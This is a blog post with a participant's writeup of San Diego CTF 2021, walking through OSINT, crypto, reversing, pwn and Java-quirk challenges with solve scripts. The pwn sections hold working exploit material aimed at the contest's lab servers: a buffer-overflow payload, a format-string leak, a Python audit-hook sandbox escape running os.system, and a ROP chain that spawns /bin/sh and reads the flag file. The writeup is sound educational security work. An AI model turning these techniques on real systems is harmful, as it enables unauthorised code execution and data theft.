LoginSignup
0
0

More than 3 years have passed since last update.

San Diego CTF 2021 writeup (English version)

Posted at

日本語版:San Diego CTF 2021 writeup - Qiita

About

I participated San Diego CTF 2021 as an one-person team.
This CTF has a characteristic that there are no special Web pages to serve problems and accept flag submissions,
and that we use Discord for them.

I earned 4326 points and ranked #10 among the 293 teams that earned positive score.
(The rank in the scoreboard of this CTF began from #0 and I was at the 11th position)

The transition of my score during the competition was like below.
(Based on the time on which I solved each challenges and the final values after the competition. Changes in values of each challenges during the competition are not taken account of)
The transition of my score

Time solved (JST : UTC+9) Category Challenge Value Rank for each challenge
2021/05/08 09:30 CRYPTO Lost in Transmission 75 #3
2021/05/08 09:36 CRYPTO Case64AR 190 #1
2021/05/08 09:52 CRYPTO A Prime Hash Candidate 292 #3
2021/05/08 10:26 REVENGE A Bowl of Pythons 115 #5
2021/05/08 10:45 PWN Flag dROPper 216 #6
2021/05/08 11:10 PWN printFAILED 206 #5
2021/05/08 12:28 PWN Unique Lasso 441 #5
2021/05/08 13:15 MISC Sanity Check 15 #83
2021/05/08 13:21 MISC Alternative Arithmetic (Intermediate Flag) 259 #2
2021/05/08 14:04 MISC Alternative Arithmetic (Final Flag) 537 #1
2021/05/08 14:34 OSINT Speed Studying 75 #36
2021/05/08 14:44 OSINT Speed Studying 2 282 #14
2021/05/08 19:26 CRYPTO A Primed Hash Candidate 147 #4
2021/05/09 00:52 PWN HAXLAB — Flag Leak 378 #6
2021/05/09 00:54 PWN HAXLAB — Endgame Pwn 648 #3
2021/05/10 03:40 OSINT hIDe and seek 100 #87
2021/05/10 04:17 OSINT hIDe and seek 2 200 #54
2021/05/10 08:17 MISC survey 150 #75

(This "Rank for each challenge" begins from #1)

Especially, I became the first to solve for two challenges: Case64AR and Alternative Arithmetic (Final Flag).

Problems I solved

OSINT

hIDe and seek

Location ?v=hqXOIZtRYZU and Location 2 qFHIm0c.jpeg were given as hints.

The Location looked like a part of a YouTube URL.
I put the information to a YouTube URL, and it was a video looking related.
congratulations - YouTube

I didn't come up with idea about the Location 2 soon.
I googled photo sharing and found this page:
List of image-sharing websites - Wikipedia

I checked each service for relevance, and found that Imgur uses image URLs that looks similar to the target.
I put the information to an Imgur image URL, and it was an image looking related.
https://i.imgur.com/qFHIm0c.jpeg

I got the correct flag by combining information from the video and the image.

sdctf{W0w_1_h4D_n0_ID3a!}

hIDe and seek 2

These hints were given:

  • First piece of info: gg/4KcDWnUYMs
  • Second piece of info: 810237829564727312-810359639975526490

I searched for gg in my history in my Web browser.
I found some URLs like https://discord.gg/ and 10 characters after that like the hint.

Based on this, I opened https://discord.gg/4KcDWnUYMs,
seeing an invitation page for "sdctf admin chat" on Discord.
I accepted the invitation and then there were many strings like the flag.
I clicked "Copy Message Link" in the "..." menu on the right side. The copied URL was like
https://discord.com/channels/810237829564727308/810237829564727312/810381204834222090
and the 810237829564727312 part matched with the former half of the Second piece of info.

Seeing this, I replaced the last part of this URL to the latter half of the Second piece of info and opened the URL:
https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490
As a result, one of the strings like the flag was highlighted for about 1 second.
The highlighted string was the correct flag.

sdctf{m@st3R_h@Ck3R_4807}

Speed Studying

We were asked to answer the first name and the last name of a person satisfying conditions below as a flag.

  • professor at UC San Diego
  • an Assistant Professor for the Computer Science department
  • an Associate Professor for the Mathematics department

Firstly, I googled UC San Diego and found this page.

University of California San Diego

Then, I followed the link "A to Z Site Index" in the bottom of the page, and opened these pages:

The page for Computer Science didn't look so useful for me.
I found a list of people in People > Directory in the page for Mathematics.
UCSD Math | Directory
Among them, there were two people that are marked as "Computer Science":

Comparing them, Daniel Kane's profile looked closer to the condition.
However, the profile said "Associate Professor" for both Computer Science and Mathematics
while the condition said "Assistant Professor" for Computer Science.

I submitted this as a flag anyway, and the system said that it is correct.

Daniel Kane

Speed Studying 2

The problem requests an example from Daniel Kane's classes called "The Skyline Problem".

Firstly, I googled The Skyline Problem and it gave me this:
The Skyline Problem - LeetCode
This looked like a common competitive programming question.

I visited the "Personal Website" of Daniel Kane:
Daniel Kane's Homepage
However, there were so many documents that it looked difficult to search among that.

Then, I googled site:http://cseweb.ucsd.edu/%7Edakane/ skyline.
It gave this PDF file and the flag was there:
Homework3.pdf

There were many extra space characters when I copy-and-pasted the flag,
so I removed them via the Replace function of my text editor.

By the way, it also gave me PDF that looked like the answer for the questions:
Solutions3.pdf

sdctf{N1ce_d0rKiNG_C@pt41N}

CRYPTO

Lost in Transmission

I compared the first part of the Flag Message and the flag format sdctf{ via my binary editor.

Flag Message          sdctf{

0  1110 0110          0  0111 0011
1  1100 1000          1  0110 0100
2  1100 0110          2  0110 0011
3  1110 1000          3  0111 0100
4  1100 1100          4  0110 0110
5  1111 0110          5  0111 1011

As a result, the Flag Message looked like the flag with the first one bit removed.
This matches with the problem statement "it seems a bit...off.".

decode.c
decode.c
#include <stdio.h>

int main(void) {
    int c;
    int p = 0;
    while ((c = getchar()) != EOF) {
        putchar(((p & 1) << 7) | (c >> 1));
        p = c;
    }
    return 0;
}

sdctf{W0nD3rfUL_mY_G00d_s1R}

Case64AR

I compared the first part of Ciphertext OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv and
The base64-encoded the first part of the flag format (sdctf{) c2RjdGZ7,
referring the Base64 table in Base64 - Wikipedia.

As a result, the characters in base64-encoded flag looked like 14-character ahead from the characters in Ciphertext.

Then, I got the flag by transforming Ciphertext via CyberChef and the Recipe below:

  1. Substitute (Encryption / Encoding)
    • Plaintext: yz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx
    • Ciphertext: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  2. From Base64 (Data format)
sdctf{OBscUr1ty_a1nt_s3CURITy}

A Prime Hash Candidate

A Python source code with hash value and hash function, and information for connecting to a TCP server were given.
It looked like we were supposed to find a password that matches to the hash value and enter that to the server.

What the hash function does is "Initialize the value with zero, then multiply 31 to the previous value and add the character code seeing each character".

I decided to use Z3 for calculating the suitable password.
This page was very helpful to learn how to use Z3:
CTF/Toolkit/z3py - 電気通信大学MMA (written in Japanese)
I set the length of password to calculate to 20 characters at the beginning, then decremented it manually.

I succeeded to install Z3 to my Python environment by the command:

pip install z3-solver

Using z3 instead of z3-solver didn't work.

solve.py
solve.py
from z3 import *

values = [Int("v" + str(i)) for i in range(17)]

s = Solver()

res = 0
for v in values:
    s.add(0x20 <= v)
    s.add(v < 0x7f)
    res = res * 31 + v

s.add(res == 59784015375233083673486266)
r = s.check()

if r == sat:
    m = s.model()
    res = ""
    for v in values:
        c = m[v].as_long()
        if c != 0:
            res += chr(c)
    print(res)
else:
    print(r)

This program answered that the password N~qqw0S$~F~rHHn%g satisfies the condition.

By the way, I decided to search the length manually because I couldn't handle zero well.
Later, I succeeded to have it calculate the length by using a variable for the length and have it ignore the extra part according to the length.

solve2.py
solve2.py
from z3 import *

target = 59784015375233083673486266
mult = 31
value_len_max = 20

s = Solver()

value_len = Int("value_len")
values = [Int("v" + str(i)) for i in range(value_len_max)]

s.add(1 <= value_len)
s.add(value_len <= value_len_max)
for i in range(value_len_max):
    s.add(If(i < value_len, And(0x20 <= values[i], values[i] < 0x7f), values[i] == 0))

res = 0
for i in range(len(values)):
    res = If(i < value_len, res * mult + values[i], res)

s.add(res == target)
r = s.check()

if r == sat:
    m = s.model()
    res = ""
    for i in range(m[value_len].as_long()):
        res += chr(m[values[i]].as_long())
    print(res)
else:
    print(r)

This program answered that the password Q"Rqumpe"'~rI*MdH satisfies the condition.
The two programs gave me different passwords, but the server accepted both.

sdctf{st1ll_3553nt14lly_pl@1n_txt}

A Primed Hash Candidate

Information for connecting to a TCP server and a Python source code that looked like explaining the program on the server were given.
This program has a hash function below.
Using the function, it will print the flag if the hash value of the password entered is the predefined value,
and print the hash value otherwise.

  1. Initialize the hash value to zero.
  2. Calculate exclusive-or of each characters of the password and a string secret1. If secret1 is shorter than the password, it is used repeatedly.
  3. Append a string secret2 at the end of the result.
  4. For each characters of the result, multiply an integer secret3 and add the character code to the hash value.

Firstly, I had the server calculate some hash values of several passwords. For example, I got these:

password hash value how many times the above hash value
(empty) 102600138716356059007219996705144046117627968461 -
a 992166622960964278925004202918932637575577014865 9.670226915617196
aa 210262682041505048014583738714712698778058090181406 211.92275286786946
aaa 48985637796415496050216650657519848062713133279035928 232.97352302747626
aaaa 11413640700522060381545483921019415124103706124202506721 232.99973653414898

I could guess that the more digits the hash value takes, the less the effect of addition becomes,
and the ratio of hash values on adding one character to password will become near to secret3.
Using this, secret3 could be guessed to 233.

Now we know that secret3 is 128 or larger.
Therefore, if all of the password, secret1, and secret2 contains only ASCII characters
(characters with character code less than 128), we can calculate the data with secret2 concatenated
by taking remainder of divisions by secret3.
Actually I calculated this with the program below.
In addition to the hash values above, I added a hash value of sequences of many a to calculate secret1.
Also, the resulting secret2 consisted of only ASCII characters, so I added some code to print it as a string.

test.py
test.py
m = 233

def calc(q):
    res = []
    while q > 0:
        res.append(q % m)
        q = q // m
    return [res[len(res) - i - 1] for i in range(len(res))]

print(calc(102600138716356059007219996705144046117627968461))
print(calc(992166622960964278925004202918932637575577014865))
print(calc(210262682041505048014583738714712698778058090181406))
print(calc(48985637796415496050216650657519848062713133279035928))
print(calc(11413640700522060381545483921019415124103706124202506721))
print(calc(2659378268536464350212726318079772602014077890093473108682))
print(calc(56678918740377726047886359781090148307613747240511801341646628305011979140370757793561203839575815229178929004006886844019359633328288654953757547745797307363306287690228605085170520895486842930223543838627761786694555352517833537871099421570613401285950471276099621993337428263773193776280991157297313422764761554071206508203010916314623673595647950795646105830132596428138694772022226009678196477133112528229050981237479482321839960638938646374279349091534905575572549716737501782655376051142768831560072202859244745877469214627488920873309017303317236637970499937672394230102961331453458658035654033218881880413))

# PASSWD
print(calc(91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844))

str = ""
for c in calc(102600138716356059007219996705144046117627968461):
    str += chr(c)

print(str)

I got this output:

[107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
ks(3n*cl3p%3925(*4*2

The ks(3n*cl3p%3925(*4*2, printed in the last line, is secret2.
Also, seeing the output, it seemed the pattern [4, 13, 82, 49, 41, 85, 15, 53, 69] is repeated.
Therefore, secret1 will be this sequence with exclusive-ored with the character code of a.
The program below actually calculates this, and it answered that secret1 is el3PH4nT$.

test2.py
test2.py
data = [4, 13, 82, 49, 41, 85, 15, 53, 69]

key = ord('a')

res = ""
for c in data:
    res += chr(c ^ key)

print(res)

Finally, I obtained the password to enter by decoding the predefined hash value of the password PASSWD,
and calculating exclusive-or with secret1 of the part that is not secret2.

test3.py
test3.py
data = [34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126]

key = "el3PH4nT$"

key_v = [ord(x) for x in key]

res = ""
for i in range(len(data)):
    res += chr(data[i] ^ key_v[i % len(key_v)])

print(res)

The password to enter was GZZ9t3W3Ar34un44m8PLXX6.

(I called the value and functions as "hash value" and "hash function" because they are called as "hash" in the server,
but they doesn't seem hash because they can be decoded easily and uniquely...)

sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}

WEB

Unfortunately I couldn't solve any problems in WEB.

REVENGE

A Bowl of Pythons

A Python source code was given.
Firstly, the strings in the code were expressed in hexadecimal values, so I used "From Hex" of CyberChef to decode them for readability.
Then, seeing the main e() function, it was firstly checking the header and footer of the input,
and then checking contents between them.
I got the medium part of the flag by removing extra things and reversing the calculation.

solve.py
solve.py
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)

f = b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4'

print(bytes(f[i] ^ (a(i) & 0xff) for i in range(len(f))))

sdctf{v3ry-t4sty-sph4g3tt1}

PWN

Flag dROPper

Information to connect to a TCP server and an ELF file that looked like running on the server were given.

I disassembling this ELF file via objdump in TDM-GCC and read the result.
As a result, I found that the program first puts an address of _exit function to a buffer with 0x48-byte offset,
then reads an input to the buffer,
and finally executes the address saved in the buffer with 0x48-byte offset.

Based on this, I got the flag (expect for the first character) by putting an input to set the address to the address of win function.

communicate.pl
communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"dropper.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = ("#" x 0x48) . "\xDA\x05\x40\x00\x00\x00\x00\x00";

print $sock $query;

while (<$sock>) {
    print $_;
}

close($sock);

sdctf{n1C3_C4tcH_bUd}

HAXLAB — Flag Leak

Information for connecting to a TCP server and a Python source code that looked like running on the server were given.

This program executes entered statements, but many operations are refused via sys.addaudithook().

I tried various input, and found that import sys was not refused while import subprocess was refused.
Now I gained access to sys.modules via import sys.
What can be accessed via that included the builtins module.
It looked possible to replace builtin functions by modifying this module.
Especially, I could replace the set() function, which was used for the initialization of allow list in the function to refuse operations, by assigning a lambda function to sys.modules["builtins"].set.
Using this, I could enable to execute os.system() by adding "os.system" to the allow list.
Finally, I got the flag by executing the command cat flag1.txt using this.

In other words, I got the flag by executing these statements:

import sys
import os
sys.modules["builtins"].set = lambda x : list(x) + ["os.system"]
os.system("cat flag1.txt")
sdctf{get@ttr_r3ads_3v3ryth1ng}

HAXLAB — Endgame Pwn

Information for connecting to a TCP server and a Python source code that looked like running on the server were given.
They are just the same as what are given in HAXLAB — Flag Leak.
Therefore, I got the flag by executing the command cat flag2.txt instead of cat flag1.txt using the same technique.

sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}

printFAILED

Information to connect to a TCP server and an ELF file that looked like running on the server were given.

I disassembling this ELF file via objdump in TDM-GCC and read the result.
As a result, what the program is doing looked like this:

transcription.c
transcription.c
#include <stdio.h>
#include <string.h>

int FLAG_LEN;

char flag[1024];
char guess[1024];

void scramble(int len) { /* -0x14(%rbp) */
    int i; /* -0x4(%rbp) */
    /* 831 860 */
    for (i = 0; i < len; i++) {
        /* 83a */
        int eax = i, ecx;
        eax = flag[eax];
        eax += 1;
        /* 84e */
        ecx = eax;
        eax = i;
        flag[eax] = ecx;
    }
}

int main(void) {
    /* 87e */
    FILE* fp = fopen("flag.txt", "r");
    fgets(flag, 0x28, fp);
    /* 8ad */
    scramble(0x27);
    /* 8b7 */
    puts("can you guess the scrambled flag?");
    fflush(stdout);
    /* 8d2 */
    fgets(guess, 0x28, stdin);
    /* 8ed */
    puts("you guessed: ");
    /* 8f9 */
    printf(guess, main, scramble, FLAG_LEN, flag);
    /* 935 */
    if (strcmp(guess, flag) == 0) {
        /* 93e */
        puts("nice guess!");
    } else {
        /* 94c */
        puts("wrong");
    }
    /* 958 */
    return 0;
}

Among these lines, the important line is:

printf(guess, main, scramble, FLAG_LEN, flag);

User-provided data is stored to the array guess, and data read from flag.txt and altered by scramble() function is stored to the array flag.
The scramble() function adds one to each elements of the array flag until the position specified by the argument.
Therefore, the flag should be obtained by reading the contents of the array flag and modify that in the reversed way of what the scramble() function does.

Based on this, I entered an input:

%lx %lx %lx %s

and got an output:

55b4835b086f 55b4835b082a 28 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~

I got the flag by applying SUB with Key "-1" via CyberChef to the last part of the output tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~.
(SUB is in the Arithmetic / Logic category)

sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}

Unique Lasso

Information to connect to a TCP server and an ELF file that looked like running on the server were given.

I disassembling this ELF file via objdump in TDM-GCC and read the result.
As a result, what the program is doing looked like this:

transcription.c
transcription.c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char rbp_6[2];
    int rbp_4;
    /* 400b75 */
    puts("how long do you think this lass is: (hint: its really long)");
    /* 400b81 */
    fflush(stdout);
    /* 400b90 */
    fgets(rbp_6, 0x258, stdin);
    /* 400ba8 */
    rbp_4 = atoi(rbp_6);
    /* 400bb4 */
    printf("You guessed %d\n", rbp_4);
    /* 400bcd */
    puts("Its gotta be longer than that");
    /* 400bd9 */
    fflush(stdout);
    /* 400be8 */
    return 0;
}

There didn't seem anything like win function, so I decided to have it execute execve("/bin/sh", 0, 0) via ROP (Return-oriented programming).
To archive that, I should have it execute syscall instruction with 59 (the system call number of execve) in %rax, an address of "/bin/sh" in %rdi, and 0 in %rsi and %rdi.

I searched for machine code of each instruction from the ELF file via my binary editor.
As a result, I found gadgets in the place (in the ELF file) below, for example.

0x006A6 : pop %rdi; ret
0x10B63 : pop %rsi; ret
0x4C616 : pop %rdx; ret
0x005AF : pop %rax; ret
0x74AE5 : syscall ; ret

Seeing the disassemble result, the address for execution should be the place in the file plus 0x400000.
Also, "/bin/sh" didn't seem in the file, but I found this in the disassemble result:

  400692:   48 89 05 67 c1 2b 00    mov    %rax,0x2bc167(%rip)        # 6bc800 <__x86_shared_non_temporal_threshold>
  400699:   48 83 c4 08             add    $0x8,%rsp
  40069d:   5b                      pop    %rbx
  40069e:   5d                      pop    %rbp
  40069f:   41 5c                   pop    %r12
  4006a1:   41 5d                   pop    %r13
  4006a3:   41 5e                   pop    %r14
  4006a5:   41 5f                   pop    %r15
  4006a7:   c3                      retq   

This should be able to store an arbitrary value in %rax to the memory location 0x6bc800.

Using them, I constructed what to put in the stack to have it do this:

  1. Put data that represents "/bin/sh" to %rax
  2. Store what is in %rax to 0x6bc800
  3. Put 59 to %rax
  4. Put 0x6bc800 to %rdi
  5. Put 0 to %rsi
  6. Put 0 to %rdi
  7. Execute syscall

After sending an input to put this contents in the stack, I sent some commands for the shell, but it didn't give response for the commands for some reason.
I made some trial-and-error like adding a loop to send commands many times and succeeded to get a list of files and the flag.

communicate.pl
communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"lasso.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = "123456--------";

my $pop_rdi = 0x4006a6;
my $pop_rsi = 0x410b63;
my $pop_rdx = 0x44c616;
my $pop_rax = 0x4005af;
my $syscall = 0x474ae5;
my $mov     = 0x400692;

my @data = (
    $pop_rax,
    -1,
    $mov,
    0, 0, 0, 0, 0, 0, 0,
    $pop_rax,
    59,
    $pop_rdi,
    0x6bc800,
    $pop_rsi,
    0,
    $pop_rdx,
    0,
    $syscall
);

for (my $i = 0; $i < @data; $i++) {
    if ($data[$i] >= 0) {
        $query .= pack("Q", $data[$i]);
    } else {
        $query .= "/bin/sh\0";
    }
}

print $sock $query;
print $sock "\n";
for (my $i = 0; $i < 4096; $i++) {
    #print $sock "echo hoge\n";
    #print $sock "ls\n";
    print $sock "cat flag.txt\n";
    print $sock "exit\n";
}

while (<$sock>) {
    print $_;
}

close($sock);

sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}

MISC

Sanity Check

The flag was in the challenge description.

Here's the flag of this challenge: sdctf{1_@m_n0t_4_r0b0t!}

sdctf{1_@m_n0t_4_r0b0t!}

Alternative Arithmetic (Intermediate Flag)

Some quizzes about Java were presented, and I got the flag by answering 3 questions correctly.

Question 1

A nonzero value of long x such that x == -x was asked.
The long is 64-bit long, and if two's complement is used, the value -(2 ** 63) will satisfy this condition.
I calculated this value via Python.

x = -9223372036854775808

Question 2

Two long values x and y that satisfy the conditions below were asked.

  • Differs
  • The difference is 10 or less
  • Long.hashCode(x) == Long.hashCode(y)

The hash values of long looks like calculated by exclusive-or of the upper 32 bits and the lower 32 bits.

Long (Java Platform SE 8 )

-1 (0xffffffffffffffff) becomes 0 by calculating exclusive-or of
the upper 32 bits 0xffffffff and the lower 32 bits 0xffffffff.
0 (0x0000000000000000) also becomes 0 by calculating exclusive-or of
the upper 32 bits 0x00000000 and the lower 32 bits 0x00000000.

x = 0
y = -1

Question 3

A value of float magic such that the for loop
for (float start = magic; start < (magic + 256); start++) iterates enough times was asked.
Also, when I enter some random value, the server showed me a condition that the input has to be less than 7 characters. I hate initially hidden conditions like this.

I got a correct answer by giving value that won't be changed by adding one, considering the precision of float.

f = 1e+8

The flag

sdctf{JAVA_Ar1thm3tIc_15_WEirD}

Alternative Arithmetic (Final Flag)

After quizzes for Alternative Arithmetic (Intermediate Flag), more quizzes about Java were presented.
I got the flag by answering 2 questions correctly.

Question 4

Strings s1, s2, and s3 that satisfies conditions below were asked.

  • new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0
  • Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)

I got a correct answer by entering a large value and a small value to overflow double.

s1 = 1e+1000
s2 = -1e+1000
s3 = 0

Question 5

Codes to fill in <type>,<num1>, and <num2> of
var i = (<type>) <num1>; var j = (<type>) <num2>; such that
i < j || i == j || i > j evaluates to false were asked.
Also, <num1> and <num2> were asked to "satisfy regex [0-9]*\.?[0-9]*".

I got a correct answer by trying various things on Wandbox.

<type>: Double
<num1>: 1.0
<num2>: 1.0

The flag

sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}

survey

An URL for a Google Forms page was given.
I filled in the questionnaire and submitted the answer, seeing the flag presented.

sdctf{Suv3y_s@ys!}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0